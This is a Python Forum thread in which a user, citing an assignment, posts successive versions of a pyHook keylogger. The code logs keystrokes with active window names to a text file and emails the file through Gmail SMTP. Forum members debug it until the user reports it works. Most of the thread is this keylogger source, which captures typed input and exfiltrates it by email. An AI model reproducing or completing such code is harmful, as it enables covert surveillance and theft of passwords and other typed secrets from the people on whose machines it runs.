Python Forum

Full Version: I have an assignment - to create a keylogger
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Hello dear users!
I have a assignment - create a keylogger
Keylogger must have:

- Sending data with e-mail (attachment .txt file)
- Every line in .txt file must write name of active window

Actually code is:
import pyHook
import pythoncom
import sys
from threading import Thread
import time
import utils
import smtplib
import base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import csv
 
 
# global parameters
started        = False
keylog         = ""
current_window = ""
filename = "protocolbackup.txt"
length = 1

with open(filename, "w") as f:
    f.write("Recording started!")

 

 
def OnKeyboardEvent(event):
    global current_window
    global keylog
    if current_window != event.WindowName:
        current_window = event.WindowName
        
    f.open(filename, "a+")
    keylog += "\n\n[{}] @ {}\n".format(current_window, time.ctime())
    key = ""
    if event.Ascii == 8:
        key = '[Backspace]'
    elif event.Ascii == 13:
        key = '\n'
    elif event.Ascii == 27:
        key = '[ESC]'
    elif event.Ascii:
        key = chr(event.Ascii)
    keylog += key
    return(True)
    f.write(keylog)
    f.close()
    parsed_length = (int(length.get()) * 60)
    time.sleep((int(parsed_length)), sendmail())
    keylog = ""
 
 
def keylogger():
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()
    hm.start()
 
def sendmail():
    global keylog
    recipients = ["[email protected]"]
    msg = MIMEMultipart()
    fromaddr = '[email protected]'
    toaddrs = recipients
    msg['Subject'] = 'Test'
    message = ""
    msg.attach(MIMEText(message))
    msg.attach(MIMEText(open(filename).read()))

    mailserver = smtplib.SMTP("smtp.gmail.com", 587)
    # identify ourselves to smtp gmail client
    mailserver.ehlo()
    # secure our email with tls encryption
    mailserver.starttls()
    # re-identify ourselves as an encrypted connection
    mailserver.ehlo()
    mailserver.login('[email protected]', 'xxx')

    mailserver.sendmail(fromaddr, toaddrs, msg.as_string())

    mailserver.quit()

 


input()
But I have problem.. Email doesn't send and doesn't writing data to .txt file..
Can you someone help me?
You never call any of the functions you define. You should start at a basic tutorial, if you try to continue hacking through things you're going to waste a lot of your own time. You written dozens of lines of code, apparently not having tested any of it, and that's a good way to end up with too much complexity to reason about. Test your code every time you make a change to it, and write the most testable parts first. When you hit a problem, you'll have a much, much easier time resolving it that way.
On top of not calling your own functions, which is pretty fundamental, you have a function where you return something unconditionally (always) and then have code after it. That code after the return (line 45 here) will never be executed.
Okay.
Problems solved.
But I have new problem.
[Image: zxvk]

Changed code here:
# -*- coding: utf-8 -*-
import pyHook
import pythoncom
import sys
from threading import Thread
import time
import utils
import smtplib
import base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import re
 
 
# global parameters
started        = False
keylog         = ""
current_window = ""
filename = "loginbackup.txt"
with open(filename, "w+") as f:
        f.write("Hello! Protocol records:")
 
 
 
def OnKeyPress(event):
        global current_window
        global keylog
        global file
       
        key = ""
        if event.Ascii == 8:
            key = '[Backspace]'
        elif event.Ascii == 13:
            key = '\n'
        elif event.Ascii == 27:
            key = '[ESC]'
        elif event.Ascii:
            key = chr(event.Ascii)
        else:
            keylog += key
 
        if len(keylog) == 40:
            f.open(filename, "a")
            f.write("\n\n")
            f.write(keylog)
            f.close()
 
 
 
new_hook = pyHook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
pythoncom.PumpMessages()
Don't post images. Copy traceback post it in error tags.
Okay. Error:
Error:
Error: TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_ code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
Error solved, how?
I have both (py 3 and py 2) I uninstall python3 - then python 2 does not works, I run uninstall and click to Repair - then python 2.7 does works and then shows new problem.

Now I have problem, If I run it on my PC, keylogger does not write keystrokes to my .txt file.
line 28:
global file
edited to:
global filename
Where is problem?
file is built-in in python2, so you should not use it as variable name as you overwrite it and probably this cause some problem
Okay.. Where is problem now?
Without error but keystrokes does not writed to .txt file?

# -*- coding: utf-8 -*-.
import pyHook
import pythoncom
import sys
from threading import Thread
import time
import utils
import smtplib
import base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import re
 
 
# global parameters
started        = False
keylog         = ''
current_window = ""
filename = "loginbackup.txt"
with open(filename, "w+") as f:
        f.write("Hello! Protocol records:")


def OnKeyPress(event):
        global current_window
        global keylog
        global filename
        
        key = ""
        if event.Ascii == 8:
            key = '[Backspace]'
        elif event.Ascii == 13:
            key = '\n'
        elif event.Ascii == 27:
            key = '[ESC]'
        elif event.Ascii:
            key = chr(event.Ascii)
        else:
            keylog += key

        if len(keylog) > 40:
            f = open(filename, "a+")
            f.write("\n\n")
            f.write(keylog)
            f.close()
            self.sendmail()
            keylog = ''


def sendmail(self):
        global keylog
        global filename
        recipients = ["[email protected]"]
        msg = MIMEMultipart()
        fromaddr = '[email protected]'
        toaddrs = recipients
        msg['Subject'] = 'Test'
        message = ""
        msg.attach(MIMEText(message))
        msg.attach(MIMEText(open(filename).read()))

        mailserver = smtplib.SMTP("smtp.gmail.com", 587)
        # identify ourselves to smtp gmail client
        mailserver.ehlo()
        # secure our email with tls encryption
        mailserver.starttls()
        # re-identify ourselves as an encrypted connection
        mailserver.ehlo()
        mailserver.login('[email protected]', 'xxxx')

        mailserver.sendmail(fromaddr, toaddrs, msg.as_string())

        mailserver.quit()

 
 
new_hook = pyHook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
pythoncom.PumpMessages()
probably
elif event.Ascii:
    key = chr(event.Ascii)
else:
    keylog += key
you want to be
elif event.Ascii:
    key = chr(event.Ascii)
    keylog += key
Okay, it works!
Thank you buran!